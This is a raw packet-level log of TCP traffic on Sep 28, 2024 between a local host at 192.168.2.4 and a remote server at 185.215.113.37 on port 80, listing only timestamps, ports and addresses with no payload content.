Sep 28, 2024 10:19:16.162957907 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.162986994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163002968 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163079023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163113117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163125038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163146973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163157940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163187981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163198948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163230896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163255930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163295031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163338900 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163347960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163480043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163495064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163513899 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163547039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163556099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163630009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163661957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163675070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163697004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163733006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163743019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163769960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163815022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163834095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163872957 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.163897038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163928986 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163961887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.163975000 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164048910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164058924 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164096117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164108992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164165974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164170980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164200068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164246082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164247036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164279938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164293051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164323092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164419889 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164452076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164484978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164508104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164519072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164531946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164554119 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164587021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164638042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164663076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164774895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164808989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164824963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164843082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164875031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.164889097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164901972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.164916039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165040016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165071964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165103912 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165123940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165138006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165153980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165172100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165205002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165236950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165254116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165280104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165355921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165385962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165416956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165419102 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165419102 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165453911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165494919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165517092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165528059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165548086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165648937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165683985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165694952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165714979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165719032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165724039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165754080 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165786982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165802002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165821075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165867090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165869951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165900946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165934086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165967941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.165970087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.165999889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.166026115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.166151047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.166212082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.168442011 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.168498993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.168513060 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.168529034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.168570042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.168597937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.168639898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.168642044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.168675900 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.168720961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381063938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381181955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381211996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381263018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381278038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381298065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381314039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381330013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381334066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381362915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381376028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381381989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381417036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381449938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381498098 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381499052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381534100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381567001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381582975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381601095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381633997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381637096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381679058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381711960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381724119 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381746054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381774902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381791115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381807089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381839991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381855011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381869078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381901026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381912947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.381934881 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.381980896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382117033 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382148981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382181883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382198095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382215023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382247925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382268906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382280111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382313013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382323980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382344961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382378101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382388115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382405996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382438898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382457972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382472992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382500887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382522106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382533073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382571936 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382579088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382601023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382648945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.382940054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.382972002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383003950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383032084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383037090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383048058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383075953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383079052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383109093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383141994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383157969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383174896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383213997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383224010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383245945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383279085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383292913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383311033 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383342028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383358002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383371115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383421898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383449078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383455992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383490086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383514881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383524895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383579016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383843899 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383877039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383904934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383934021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383965969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383968115 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.383995056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.383996964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384030104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384057999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384063959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384088993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384097099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384115934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384131908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384164095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384196997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384216070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384229898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384263992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384282112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384296894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384330034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384349108 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384357929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384391069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384408951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384427071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384481907 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.384823084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384855032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384887934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384919882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384949923 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.384982109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385011911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385030985 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385044098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385059118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385077000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385087967 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385108948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385143042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385174036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385191917 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385206938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385241032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385251999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385274887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385308027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385320902 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385344028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385375023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385386944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385478973 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385736942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385770082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385802031 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385802031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385816097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385837078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385842085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385931015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385965109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.385982037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.385999918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386032104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386050940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386065006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386096954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386111975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386126041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386157036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386172056 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386188984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386200905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386223078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386255980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386286974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386297941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386321068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386348009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386365891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386379004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386382103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386393070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386414051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386420012 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386444092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386495113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386527061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386538982 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386557102 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386559963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386568069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386595964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386641979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.386873960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386929989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386969090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.386977911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387031078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387059927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387088060 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387088060 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387104988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387114048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387146950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387176037 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387188911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387208939 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387209892 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387226105 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387334108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387382030 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387403965 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387438059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387444019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387449026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387507915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387537003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387553930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387566090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387583017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387588978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387626886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387660027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387726068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387742043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387775898 CEST	80	49730	185.215.113.37	192.168.2.4
